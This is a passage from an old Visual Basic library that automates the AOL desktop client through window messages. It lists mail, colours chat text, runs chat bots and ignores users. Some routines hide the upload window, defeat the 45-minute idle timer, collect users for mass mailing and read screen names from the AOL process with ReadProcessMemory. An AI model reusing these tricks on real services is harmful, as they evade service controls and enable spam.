  5318. Call SendChat("<b><FONT FACE=" & Chr$(34) & "Wingdings" & Chr$(34) & ">i<FONT FACE=" & Chr$(34) & "arial" & Chr$(34) & "><Font Color=#D40000><b>Abuser: " + UserSN)
  5319. End Function
  5320.  
  5321.  
  5322. Function Server_ListNew(lis As ListBox)
  5323. Dim Ind As Integer
  5324. Call Mail_OpenNew2
  5325. Do: DoEvents
  5326. aol% = FindWindow("AOL Frame25", vbNullString)
  5327. mdi% = FindChildByClass(aol%, "MDIClient")
  5328. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  5329. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  5330. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  5331. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  5332. If TIT% <> 0 And tree% <> 0 Then Exit Do
  5333. Loop
  5334. coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  5335. Ind = lis.ListCount
  5336. For I = 0 To coun% - 1
  5337. lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&)
  5338.     mail$ = String(lent% + 1, 0)
  5339.     Call SendMessageByString(tree%, LB_GETTEXT, I, mail$)
  5340.     
  5341.     For X = 1 To Len(mail$)
  5342.         l$ = Mid(mail$, X, 1)
  5343.         NoName$ = NoName$ & l$
  5344.             If l$ = Chr(9) Then
  5345.                 Let l$ = "": NoName$ = ""
  5346.             End If
  5347.     Next X
  5348.     Ind = Val(Ind) + 1
  5349.         lis.AddItem Ind & ".) " & NoName$
  5350.         Next I
  5351.         minit = ShowWindow(TIT%, SW_MINIMIZE)
  5352. End Function
  5353. Function Server_ListOld(lis As ListBox)
  5354. Dim Ind As Integer
  5355. Call Mail_OpenOld2
  5356. Do: DoEvents
  5357. aol% = FindWindow("AOL Frame25", vbNullString)
  5358. mdi% = FindChildByClass(aol%, "MDIClient")
  5359. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  5360. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  5361. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  5362. Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  5363. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  5364. If TIT% <> 0 And tree% <> 0 Then Exit Do
  5365. Loop
  5366. coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  5367. Ind = lis.ListCount
  5368. For I = 0 To coun% - 1
  5369. lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&)
  5370.     mail$ = String(lent% + 1, 0)
  5371.     Call SendMessageByString(tree%, LB_GETTEXT, I, mail$)
  5372.     
  5373.     For X = 1 To Len(mail$)
  5374.         l$ = Mid(mail$, X, 1)
  5375.         NoName$ = NoName$ & l$
  5376.             If l$ = Chr(9) Then
  5377.                 Let l$ = "": NoName$ = ""
  5378.             End If
  5379.     Next X
  5380.     Ind = Val(Ind) + 1
  5381.         lis.AddItem Ind & ".) " & NoName$
  5382.         Next I
  5383.         minit = ShowWindow(TIT%, SW_MINIMIZE)
  5384. End Function
  5385. Function Server_ListSent(lis As ListBox)
  5386. Dim Ind As Integer
  5387. Call Mail_OpenSent2
  5388. Wait (1)
  5389. Do: DoEvents
  5390. aol% = FindWindow("AOL Frame25", vbNullString)
  5391. mdi% = FindChildByClass(aol%, "MDIClient")
  5392. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  5393. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  5394. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  5395. Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  5396. Tab2% = GetWindow(Tab2%, GW_HWNDNEXT)
  5397. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  5398.  
  5399. If TIT% <> 0 And tree% <> 0 Then Exit Do
  5400. Loop
  5401.     Do: DoEvents
  5402.         NewC = coun%
  5403.         coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  5404.         If coun% = NewC Then Exit Do
  5405.     Loop
  5406. Ind = lis.ListCount
  5407. For I = 0 To coun% - 1
  5408. lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&)
  5409.     mail$ = String(lent% + 1, 0)
  5410.     Call SendMessageByString(tree%, LB_GETTEXT, I, mail$)
  5411.     
  5412.     For X = 1 To Len(mail$)
  5413.         l$ = Mid(mail$, X, 1)
  5414.         NoName$ = NoName$ & l$
  5415.             If l$ = Chr(9) Then
  5416.                 Let l$ = "": NoName$ = ""
  5417.             End If
  5418.     Next X
  5419.     Ind = Val(Ind) + 1
  5420.         lis.AddItem Ind & ".) " & NoName$
  5421.         Next I
  5422.         minit = ShowWindow(TIT%, SW_MINIMIZE)
  5423. End Function
  5424.  
  5425. Function FocusSet(win)
  5426. setit = SetFocusAPI(win)
  5427.  
  5428. End Function
  5429.  
  5430. Function Text_American(strin As String)
  5431. 'red white an blue text *not faded*
  5432. 'heheh the crackerz coller
  5433. For X = 1 To Len(strin) Step 3
  5434. l$ = Mid(strin, X, 1)
  5435. l2$ = Mid(strin, X + 1, 1)
  5436. l3$ = Mid(strin, X + 2, 1)
  5437.     one$ = "<Font Color=" & Chr(34) & "#FF0000" & Chr(34) & ">"
  5438.         two$ = "<Font Color=" & Chr(34) & "#CCCCCC" & Chr(34) & ">"
  5439.             Tre$ = "<Font Color=" & Chr(34) & "#0000FF" & Chr(34) & ">"
  5440.  
  5441.     clr$ = clr$ & one$ & l$ & two$ & l2$ & Tre$ & l3$
  5442. Next X
  5443. Call ErrorRsenD(clr$)
  5444. End Function
  5445.  
  5446. Function Text_Custom(strin As String, Letter As String)
  5447. 'same as Text_Dash and Period but you
  5448. 'tell it which letter to use
  5449. For I = 1 To Len(strin)
  5450. l$ = Mid(strin, I, 1)
  5451. l2$ = Mid(strin, I + 1, 1)
  5452. If l$ = " " Then
  5453. Dsh$ = Dsh$ & l$
  5454. ElseIf l2$ <> " " Then
  5455. Dsh$ = Dsh$ & l$ & Letter
  5456. Else
  5457. Dsh$ = Dsh$ & l$
  5458. End If
  5459. Next I
  5460. Text_Custom = Dsh$
  5461. End Function
  5462.  
  5463. Function Text_Dash(strin As String)
  5464. 'puts a dash in between every letter
  5465. For I = 1 To Len(strin)
  5466. l$ = Mid(strin, I, 1)
  5467. l2$ = Mid(strin, I + 1, 1)
  5468. If l$ = " " Then
  5469. Dsh$ = Dsh$ & l$
  5470. ElseIf l2$ <> " " Then
  5471. Dsh$ = Dsh$ & l$ & "-"
  5472. Else
  5473. Dsh$ = Dsh$ & l$
  5474. End If
  5475. Next I
  5476. Text_Dash = Dsh$
  5477. End Function
  5478.  
  5479. Function Text_GreenRed(strin As String)
  5480. 'green an white text *all color texts aren't fades*
  5481. For X = 1 To Len(strin) Step 2
  5482. l$ = Mid(strin, X, 1)
  5483. l2$ = Mid(strin, X + 1, 1)
  5484. one$ = "<Font Color=" & Chr(34) & "#FF0000" & Chr(34) & ">"
  5485. two$ = "<Font Color=" & Chr(34) & "#00FF00" & Chr(34) & ">"
  5486. clr$ = clr$ & one$ & l$ & two$ & l2$
  5487. Next X
  5488. Call ErrorRsenD(clr$)
  5489. End Function
  5490. Function Text_BlueBlack(strin As String)
  5491. 'these are not fades
  5492. For X = 1 To Len(strin) Step 2
  5493. l$ = Mid(strin, X, 1)
  5494. l2$ = Mid(strin, X + 1, 1)
  5495. one$ = "<Font Color=" & Chr(34) & "#0000FF" & Chr(34) & ">"
  5496. two$ = "<Font Color=" & Chr(34) & "#000000" & Chr(34) & ">"
  5497. clr$ = clr$ & one$ & l$ & two$ & l2$
  5498. Next X
  5499. Call ErrorRsenD(clr$)
  5500. End Function
  5501.  
  5502.  
  5503. Function Text_Period(strin As String)
  5504. For I = 1 To Len(strin)
  5505. l$ = Mid(strin, I, 1)
  5506. l2$ = Mid(strin, I + 1, 1)
  5507. If l$ = " " Then
  5508. Pd$ = Pd$ & l$
  5509. ElseIf l2$ <> " " Then
  5510. Pd$ = Pd$ & l$ & "."
  5511. Else
  5512. Pd$ = Pd$ & l$
  5513. End If
  5514. Next I
  5515. Text_Period = Pd$
  5516. End Function
  5517.  
  5518. Function Text_RandomRainbow(strin As String)
  5519. 'creates rainbow text in random order and random colors
  5520. For X = 1 To Len(strin)
  5521. l$ = Mid(strin, X, 1)
  5522.     one$ = "<Font Color=" & Chr(34) & RandomColorCode & Chr(34) & ">"
  5523.         
  5524.  
  5525.     clr$ = clr$ & one$ & l$
  5526. Next X
  5527. Call ErrorRsenD(clr$)
  5528. End Function
  5529.  
  5530. Function ClipBoardCopy(txt As String)
  5531. Clipboard.SetText txt
  5532. End Function
  5533. Function ClipBoardGetText()
  5534. 'gets text from clipboard to paste use this:
  5535. 'text1.text = text1.text & ClipBoardGetText
  5536. txt$ = Clipboard.GetText
  5537. ClipBoardGetText = txt$
  5538. End Function
  5539.  
  5540. Function TextBoxSelectedText(txt As TextBox)
  5541. 'returns the text thats highlighted in a textbox
  5542. ST$ = txt.SelText
  5543. TextBoxSelectedText = ST$
  5544. End Function
  5545. Function TextBoxTypewriter(Wat As String, txt As TextBox)
  5546. 'makes text "type" up
  5547. 'this is a alright sub if you dont know qbasic coding for labels
  5548. 'really eazy but this is just a shortcut
  5549. For I = 1 To Len(Wat)
  5550. l$ = Mid(Wat, 1, I)
  5551. txt.Text = l$
  5552. Wait (0.2)
  5553. Next I
  5554. End Function
  5555. Function TextBoxFastTypewriter(Wat As String, txt As TextBox)
  5556. 'makes text "type" up faster
  5557. For I = 1 To Len(Wat)
  5558. l$ = Mid(Wat, 1, I)
  5559. txt.Text = l$
  5560. Wait (0.1)
  5561. Next I
  5562. End Function
  5563. Function LabelTypewriter(Wat As String, Lab As Label)
  5564. 'makes text "type" up
  5565. For I = 1 To Len(Wat)
  5566. l$ = Mid(Wat, 1, I)
  5567. Lab.Caption = l$
  5568. Wait (0.2)
  5569. Next I
  5570. End Function
  5571. Function LabelFastTypewriter(Wat As String, Lab As Label)
  5572. 'makes text "type" up faster
  5573. For I = 1 To Len(Wat)
  5574. l$ = Mid(Wat, 1, I)
  5575. Lab.Caption = l$
  5576. Wait (0.1)
  5577. Next I
  5578. End Function
  5579.  
  5580. Function aolUnUpchat()
  5581. Moda% = FindWindow("_AOL_Modal", vbNullString)
  5582. stat = InStr(Modal_Static, "Now Uploading")
  5583.  
  5584. If Moda% <> 0 And stat <> 0 Then
  5585. hideit = ShowWindow(Moda%, SW_SHOW)
  5586. minit = ShowWindow(Moda%, SW_RESTORE)
  5587. End If
  5588. End Function
  5589.  
  5590. Function UserSN()
  5591. On Error Resume Next
  5592. aol% = FindWindow("AOL Frame25", "America  Online")
  5593. mdi% = FindChildByClass(aol%, "MDIClient")
  5594. welcome% = findchildbytitle(mdi%, "Welcome, ")
  5595. WelcomeLength% = GetWindowTextLength(welcome%)
  5596. WelcomeTitle$ = String$(200, 0)
  5597. a% = GetWindowText(welcome%, WelcomeTitle$, (WelcomeLength% + 1))
  5598. User = Mid$(WelcomeTitle$, 10, (InStr(WelcomeTitle$, "!") - 10))
  5599. UserSN = User
  5600. End Function
  5601. Function aolupchat()
  5602.  
  5603. Moda% = FindWindow("_AOL_Modal", vbNullString)
  5604. stat = InStr(Modal_Static, "Now Uploading")
  5605.  
  5606. If Moda% <> 0 And stat <> 0 Then
  5607. hideit = ShowWindow(Moda%, SW_HIDE)
  5608. minit = ShowWindow(Moda%, SW_MINIMIZE)
  5609. End If
  5610. Call AOL_SetFocus
  5611. End Function
  5612.  
  5613. Function AOL4_UpChat()
  5614. 'this is an upchat that minimizes the
  5615. 'upload window
  5616. die% = FindWindow("_AOL_MODAL", vbNullString)
  5617. X = ShowWindow(die%, SW_HIDE)
  5618. X = ShowWindow(die%, SW_MINIMIZE)
  5619. Call Aol4_SetFocus
  5620. End Function
  5621.  
  5622. Sub AOL4_UnUpChat()
  5623. die% = FindWindow("_AOL_MODAL", vbNullString)
  5624. X = ShowWindow(die%, SW_RESTORE)
  5625. Call Aol4_SetFocus
  5626. End Sub
  5627.  
  5628. Sub Anti45MinTimer()
  5629. 'use this sub in a timer set at 100
  5630. AOTimer% = FindWindow("_AOL_Palette", vbNullString)
  5631. AOIcon% = FindChildByClass(AOTimer%, "_AOL_Icon")
  5632. ClickIcon (AOIcon%)
  5633. End Sub
  5634.  
  5635. Function meeh_DeEncrypt(strin As String)
  5636. Let inptxt$ = strin
  5637. Let lenth% = Len(inptxt$)
  5638. Do While NumSpc% <= lenth%
  5639. Let NumSpc% = NumSpc% + 1
  5640. Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  5641. If NextChr$ = "Ü" Then Let NextChr$ = "A"
  5642. If NextChr$ = "£" Then Let NextChr$ = "B"
  5643. If NextChr$ = "ó" Then Let NextChr$ = "C"
  5644. If NextChr$ = "ñ" Then Let NextChr$ = "D"
  5645. If NextChr$ = "▒" Then Let NextChr$ = "E"
  5646. If NextChr$ = "░" Then Let NextChr$ = "F"
  5647. If NextChr$ = "▓" Then Let NextChr$ = "G"
  5648. If NextChr$ = "│" Then Let NextChr$ = "H"
  5649. If NextChr$ = "╡" Then Let NextChr$ = "I"
  5650. If NextChr$ = "¬" Then Let NextChr$ = "J"
  5651. If NextChr$ = "╣" Then Let NextChr$ = "K"
  5652. If NextChr$ = "║" Then Let NextChr$ = "L"
  5653. If NextChr$ = "ƒ" Then Let NextChr$ = "M"
  5654. If NextChr$ = "φ" Then Let NextChr$ = "N"
  5655. If NextChr$ = "ε" Then Let NextChr$ = "O"
  5656. If NextChr$ = "∩" Then Let NextChr$ = "P"
  5657. If NextChr$ = "≡" Then Let NextChr$ = "Q"
  5658. If NextChr$ = "±" Then Let NextChr$ = "R"
  5659. If NextChr$ = "≥" Then Let NextChr$ = "S"
  5660. If NextChr$ = "≤" Then Let NextChr$ = "T"
  5661. If NextChr$ = "⌠" Then Let NextChr$ = "U"
  5662. If NextChr$ = "⌡" Then Let NextChr$ = "V"
  5663. If NextChr$ = "÷" Then Let NextChr$ = "W"
  5664. If NextChr$ = "°" Then Let NextChr$ = "X"
  5665. If NextChr$ = "∙" Then Let NextChr$ = "Y"
  5666. If NextChr$ = "·" Then Let NextChr$ = "Z"
  5667. If NextChr$ = " " Then Let NextChr$ = " "
  5668. If NextChr$ = "'" Then Let NextChr$ = "a"
  5669. If NextChr$ = "√" Then Let NextChr$ = "b"
  5670. If NextChr$ = "ⁿ" Then Let NextChr$ = "c"
  5671. If NextChr$ = "²" Then Let NextChr$ = "d"
  5672. If NextChr$ = "■" Then Let NextChr$ = "e"
  5673. If NextChr$ = "╞" Then Let NextChr$ = "f"
  5674. If NextChr$ = "╟" Then Let NextChr$ = "g"
  5675. If NextChr$ = "╠" Then Let NextChr$ = "h"
  5676. If NextChr$ = "═" Then Let NextChr$ = "i"
  5677. If NextChr$ = "╬" Then Let NextChr$ = "j"
  5678. If NextChr$ = "╧" Then Let NextChr$ = "k"
  5679. If NextChr$ = "╪" Then Let NextChr$ = "l"
  5680. If NextChr$ = "▐" Then Let NextChr$ = "m"
  5681. If NextChr$ = "▀" Then Let NextChr$ = "n"
  5682. If NextChr$ = "å" Then Let NextChr$ = "o"
  5683. If NextChr$ = "â" Then Let NextChr$ = "p"
  5684. If NextChr$ = "î" Then Let NextChr$ = "q"
  5685. If NextChr$ = "è" Then Let NextChr$ = "r"
  5686. If NextChr$ = "ç" Then Let NextChr$ = "s"
  5687. If NextChr$ = "í" Then Let NextChr$ = "t"
  5688. If NextChr$ = "ú" Then Let NextChr$ = "u"
  5689. If NextChr$ = "º" Then Let NextChr$ = "v"
  5690. If NextChr$ = "∞" Then Let NextChr$ = "w"
  5691. If NextChr$ = "δ" Then Let NextChr$ = "x"
  5692. If NextChr$ = "Ω" Then Let NextChr$ = "y"
  5693. If NextChr$ = "Θ" Then Let NextChr$ = "z"
  5694. If NextChr$ = "Φ" Then Let NextChr$ = "1"
  5695. If NextChr$ = "τ" Then Let NextChr$ = "2"
  5696. If NextChr$ = "µ" Then Let NextChr$ = "3"
  5697. If NextChr$ = "ß" Then Let NextChr$ = "4"
  5698. If NextChr$ = "σ" Then Let NextChr$ = "5"
  5699. If NextChr$ = "Γ" Then Let NextChr$ = "6"
  5700. If NextChr$ = "π" Then Let NextChr$ = "7"
  5701. If NextChr$ = "Σ" Then Let NextChr$ = "8"
  5702. If NextChr$ = "α" Then Let NextChr$ = "9"
  5703. If NextChr$ = "╫" Then Let NextChr$ = "0"
  5704. Let NewSent$ = NewSent$ + NextChr$
  5705. Loop
  5706. meeh_DeEncrypt = NewSent$
  5707. End Function
  5708.  
  5709. Function WaitForInRoom()
  5710. Do: DoEvents
  5711. If InRoom = True Then Exit Do
  5712. Loop
  5713.  
  5714. End Function
  5715.  
  5716. Function WaitForMenu()
  5717. Do: DoEvents
  5718. Drp% = FindWindow("#32768", vbNullString)
  5719. win% = IsWindowVisible(Drp%)
  5720. Loop Until win% = 1
  5721. End Function
  5722.  
  5723.  
  5724. Function Window_Hide(WinHandle)
  5725. hideit = ShowWindow(WinHandle, SW_HIDE)
  5726.  
  5727. End Function
  5728. Function Window_Show(WinHandle)
  5729. hideit = ShowWindow(WinHandle, SW_SHOW)
  5730.  
  5731. End Function
  5732. Function Window_Close(WinHandle)
  5733. closeit = SendMessage(WinHandle, WM_CLOSE, 0, 0&)
  5734.  
  5735. End Function
  5736.  
  5737. Function Windows_GetUser()
  5738. 'returns the name of the user in windows
  5739.      
  5740.      Dim Spcs As String
  5741.      Dim lent As Long
  5742.      Spcs = Space$(255)
  5743.      lent = Len(Spcs)
  5744.      Call GetUserName(Spcs, lent)
  5745.  
  5746.     If lent > 0 Then
  5747.          Windows_GetUser = Left$(Spcs, lent)
  5748.     Else
  5749.          Windows_GetUser = vbNullString
  5750.     End If
  5751.  
  5752.     End Function
  5753.  
  5754. Function RunExe(PathName As String, WinStyle As Integer)
  5755. 'runs an exe
  5756. 'WinStyle constants are:
  5757. '0   Window is hidden and focus is passed to the hidden window.
  5758. '1   Window has focus and is restored to its original size and position.
  5759. '2   Window is displayed as an icon with focus.
  5760. '3   Window is maximized with focus.
  5761. '4   Window is restored to its most recent size and position.  The currently active window remains active.
  5762. '6   Window is displayed as an icon.  The currently active window remains active.
  5763. X = Shell(PathName, WinStyle)
  5764. End Function
  5765.  
  5766. Function Bot_Echo(Who As String)
  5767. 'put this in a timer
  5768. If LCase(Who) = LCase(UserSN) Then
  5769. Exit Function
  5770. End If
  5771. txt$ = LastChatLine
  5772. pers$ = LCase(LastChatLineWithSN)
  5773. If pers$ = LCase(Who) Then
  5774. Sen$ = txt$
  5775. Call ErrorRsenD(Sen$)
  5776. Wait (0.5)
  5777. End If
  5778.  
  5779. End Function
  5780.  
  5781.  
  5782. Function Bot_MMer(lis As ListBox, Key As String, Ascii As String)
  5783. 'put this in a timer it works good unless your
  5784. 'computer is lagging and it takes longer to send chat
  5785. 'keep this in mind you can set the timer to an
  5786. 'interval of 1 but it will write the response 3 times if your
  5787. 'lagging
  5788. 'example.. write the advertise then start the timer( timer1.enabled = true)
  5789. 'then in the timer....-- Call Bot_MMer(list1,"/add me","-->>")
  5790. 'just add the word you want it to respond too and add your ascii
  5791. Nam$ = LastLineSN
  5792. txt$ = LCase(LastLineText)
  5793.  
  5794. If txt$ = Key Then
  5795. got$ = Nam$
  5796. For I = 0 To lis.ListCount
  5797. element$ = lis.List(I)
  5798. If element$ = got$ Then
  5799. Call SendChat(Ascii & got$ & " you've already been added")
  5800. Wait (0.5)
  5801. Exit Function
  5802. End If
  5803. Next I
  5804. lis.AddItem got$
  5805. Call SendChat(Ascii & got$ & " You've been added to list [" & lis.ListCount & "]")
  5806. Wait (0.5)
  5807. End If
  5808.  
  5809. End Function
  5810.  
  5811. Function ToImKill()
  5812. 'kills the im that comes up when you im someone
  5813. aol% = FindWindow("AOL Frame25", vbNullString)
  5814. mdi% = FindChildByClass(aol%, "MDIClient")
  5815. TIT% = findchildbytitle(mdi%, " Instant Message To:")
  5816. If TIT% <> 0 Then
  5817. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  5818. End If
  5819.  
  5820. End Function
  5821.  
  5822.  
  5823. Function FindChildByClass(Parent, child As String) As Integer
  5824. childfocus% = GetWindow(Parent, 5)
  5825.  
  5826. While childfocus%
  5827. buffer$ = String$(250, 0)
  5828. classbuffer% = GetClassName(childfocus%, buffer$, 250)
  5829.  
  5830. If InStr(UCase(buffer$), UCase(child)) Then FindChildByClass = childfocus%: Exit Function
  5831. childfocus% = GetWindow(childfocus%, 2)
  5832. Wend
  5833.  
  5834. End Function
  5835. Function findchildbytitle(Parent, child As String) As Integer
  5836. childfocus% = GetWindow(Parent, 5)
  5837.  
  5838. While childfocus%
  5839. hwndLength% = GetWindowTextLength(childfocus%)
  5840. buffer$ = String$(hwndLength%, 0)
  5841. WindowText% = GetWindowText(childfocus%, buffer$, (hwndLength% + 1))
  5842.  
  5843. If InStr(UCase(buffer$), UCase(child)) Then findchildbytitle = childfocus%: Exit Function
  5844. childfocus% = GetWindow(childfocus%, 2)
  5845. Wend
  5846.  
  5847. End Function
  5848. Function FreeProcess()
  5849. 'this will free up the comp, ie. if
  5850. 'your comp is runnin slow this will help
  5851. Do: DoEvents
  5852. proc = proc + 1
  5853. If proc = 50 Then Exit Do
  5854. Loop
  5855. End Function
  5856.  
  5857. Sub List_RemoveName(lis As ListBox, Nam As String)
  5858. 'Removes a name or item from a listbox
  5859. For I = 0 To lis.ListCount
  5860. Item$ = lis.List(I)
  5861. If Item$ = Nam Then
  5862. lis.RemoveItem I
  5863. End If
  5864. Next I
  5865. End Sub
  5866.  
  5867.  
  5868. Function AOL30_ChatNow()
  5869. aol% = FindWindow("AOL Frame25", vbNullString)
  5870. mdi% = FindChildByClass(aol%, "MDIClient")
  5871. Welc% = findchildbytitle(mdi%, "Welcome, ")
  5872. Icona% = FindChildByClass(Welc%, "_AOL_Icon")
  5873. Icon2% = GetWindow(Icona%, GW_HWNDNEXT)
  5874. Icon2% = GetWindow(Icon2%, GW_HWNDNEXT)
  5875. Icon2% = GetWindow(Icon2%, GW_HWNDNEXT)
  5876. Icon2% = GetWindow(Icon2%, GW_HWNDNEXT)
  5877. clickit = SendMessage(Icon2%, WM_LBUTTONDOWN, 0, 0&)
  5878. clickit = SendMessage(Icon2%, WM_LBUTTONUP, 0, 0&)
  5879. Do: DoEvents
  5880. peopl% = findchildbytitle(mdi%, "People Connection")
  5881. If peopl% <> 0 Then Exit Do
  5882. Loop
  5883. iconb% = FindChildByClass(peopl%, "_AOL_Icon")
  5884. Icon3% = GetWindow(iconb%, GW_HWNDNEXT)
  5885. Icon3% = GetWindow(Icon3%, GW_HWNDNEXT)
  5886. clickit = SendMessage(Icon3%, WM_LBUTTONDOWN, 0, 0&)
  5887. clickit = SendMessage(Icon3%, WM_LBUTTONUP, 0, 0&)
  5888. End Function
  5889. Sub AddRoom(ListBox As ListBox)
  5890. On Error Resume Next
  5891.  
  5892. Dim AProc As Long
  5893. Dim Holdit As Long
  5894. Dim Person As String
  5895. Dim Holdthem As Long
  5896. Dim Howmnybts As Long
  5897. Dim Chil%, Rich%
  5898.  
  5899. Chil% = FindChat
  5900. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  5901. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  5902. aolhandle = lis%
  5903.  
  5904. AOLThread = GetWindowThreadProcessId(lis%, AProc)
  5905. AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc)
  5906.  
  5907. If AOLProcessThread Then
  5908. For I = 0 To SendMessage(aolhandle, LB_GETCOUNT, 0, 0) - 1
  5909. Person$ = String$(4, vbNullChar)
  5910. Holdit = SendMessage(aolhandle, LB_GETITEMDATA, ByVal CLng(I), ByVal 0&)
  5911. Holdit = Holdit + 24
  5912. Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts)
  5913.                         
  5914. Call RtlMoveMemory(Holdthem, ByVal Person$, 4)
  5915. Holdthem = Holdthem + 6
  5916.  
  5917. Person$ = String$(16, vbNullChar)
  5918. Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts)
  5919.  
  5920. Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1)
  5921. If Person$ = GetUserSn Then GoTo Skip
  5922. ListBox.AddItem Person$
  5923. Skip:
  5924. Next I
  5925. Call CloseHandle(AOLProcessThread)
  5926. End If
  5927. End Sub
  5928. Sub ChatIgnore(name As String)
  5929. On Error Resume Next
  5930.  
  5931. Dim AProc As Long
  5932. Dim Holdit As Long
  5933. Dim Person As String
  5934. Dim Holdthem As Long
  5935. Dim Howmnybts As Long
  5936. Dim Chil%, Rich%
  5937. aol% = FindWindow("AOL Frame25", vbNullString)
  5938. mdi% = FindChildByClass(aol%, "MDIClient")
  5939. Chil% = FindChat
  5940. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  5941. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  5942.  
  5943.  
  5944. AOLThread = GetWindowThreadProcessId(lis%, AProc)
  5945. AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc)
  5946.  
  5947. If AOLProcessThread Then
  5948. For I = 0 To SendMessage(lis%, LB_GETCOUNT, 0, 0) - 1
  5949. Person$ = String$(4, vbNullChar)
  5950. Holdit = SendMessage(lis%, LB_GETITEMDATA, ByVal CLng(I), ByVal 0&)
  5951. Holdit = Holdit + 24
  5952. Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts)
  5953.                         
  5954. Call RtlMoveMemory(Holdthem, ByVal Person$, 4)
  5955. Holdthem = Holdthem + 6
  5956.  
  5957. Person$ = String$(16, vbNullChar)
  5958. Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts)
  5959.  
  5960. Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1)
  5961. If LCase(Person$) = LCase(name) Then
  5962. clickem = SendMessage(lis%, LB_SETCURSEL, I, 0&)
  5963. DBclickit = SendMessage(lis%, WM_LBUTTONDBLCLK, 0, 0&)
  5964.     Do: DoEvents
  5965.         TIT% = findchildbytitle(mdi%, Person$)
  5966.             Chk% = FindChildByClass(TIT%, "_AOL_Checkbox")
  5967.         If TIT% <> 0 And Chk% <> 0 Then Exit Do
  5968.     Loop
  5969.         
  5970.             Do: DoEvents
  5971.                 clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  5972.                     clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  5973.                         GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  5974.                         If GetIt% = 1 Then Exit Do
  5975.                         Loop
  5976.                     closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  5977.                     Exit Sub
  5978.             End If
  5979. Next I
  5980. Call CloseHandle(AOLProcessThread)
  5981. End If
  5982. End Sub
  5983. Sub ChatIgnore2(InsName As String)
  5984. '   this method will look for a name matching the
  5985. 'one you specify, ex: if a person with name
  5986. 'user123 is in the room type 123 and itll ignore him
  5987. 'try not to put one or two characters only
  5988.  
  5989. On Error Resume Next
  5990.  
  5991. Dim AProc As Long
  5992. Dim Holdit As Long
  5993. Dim Person As String
  5994. Dim Holdthem As Long
  5995. Dim Howmnybts As Long
  5996. Dim Chil%, Rich%, lis%
  5997. aol% = FindWindow("AOL Frame25", vbNullString)
  5998. mdi% = FindChildByClass(aol%, "MDIClient")
  5999. Chil% = FindChat
  6000. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  6001. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  6002.  
  6003.  
  6004. AOLThread = GetWindowThreadProcessId(lis%, AProc)
  6005. AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AProc)
  6006.  
  6007. If AOLProcessThread Then
  6008. For I = 0 To SendMessage(lis%, LB_GETCOUNT, 0, 0) - 1
  6009. Person$ = String$(4, vbNullChar)
  6010. Holdit = SendMessage(lis%, LB_GETITEMDATA, ByVal CLng(I), ByVal 0&)
  6011. Holdit = Holdit + 24
  6012. Call ReadProcessMemory(AOLProcessThread, Holdit, Person$, 4, Howmnybts)
  6013.                         
  6014. Call RtlMoveMemory(Holdthem, ByVal Person$, 4)
  6015. Holdthem = Holdthem + 6
  6016.  
  6017. Person$ = String$(16, vbNullChar)
  6018. Call ReadProcessMemory(AOLProcessThread, Holdthem, Person$, Len(Person$), Howmnybts)
  6019.  
  6020. Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1)
  6021. If InStr(LCase(Person$), LCase(InsName)) <> 0 Then
  6022. clickem = SendMessage(lis%, LB_SETCURSEL, I, 0&)
  6023. DBclickit = SendMessage(lis%, WM_LBUTTONDBLCLK, 0, 0&)
  6024.     Do: DoEvents
  6025.         TIT% = findchildbytitle(mdi%, Person$)
  6026.             Chk% = FindChildByClass(TIT%, "_AOL_Checkbox")
  6027.         If TIT% <> 0 And Chk% <> 0 Then Exit Do
  6028.     Loop
  6029.         
  6030.             Do: DoEvents
  6031.                 clickit = SendMessage(Chk%, WM_LBUTTONDOWN, 0, 0&)
  6032.                     clickit = SendMessage(Chk%, WM_LBUTTONUP, 0, 0&)
  6033.                         GetIt% = SendMessage(Chk%, BM_GETCHECK, 0, 0&)
  6034.                         If GetIt% = 1 Then Exit Do
  6035.                         Loop
  6036.                     closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6037.                     Exit For
  6038.             End If
  6039. Next I
  6040. Call CloseHandle(AOLProcessThread)
  6041. Wait (0.3)
  6042. DoEvents
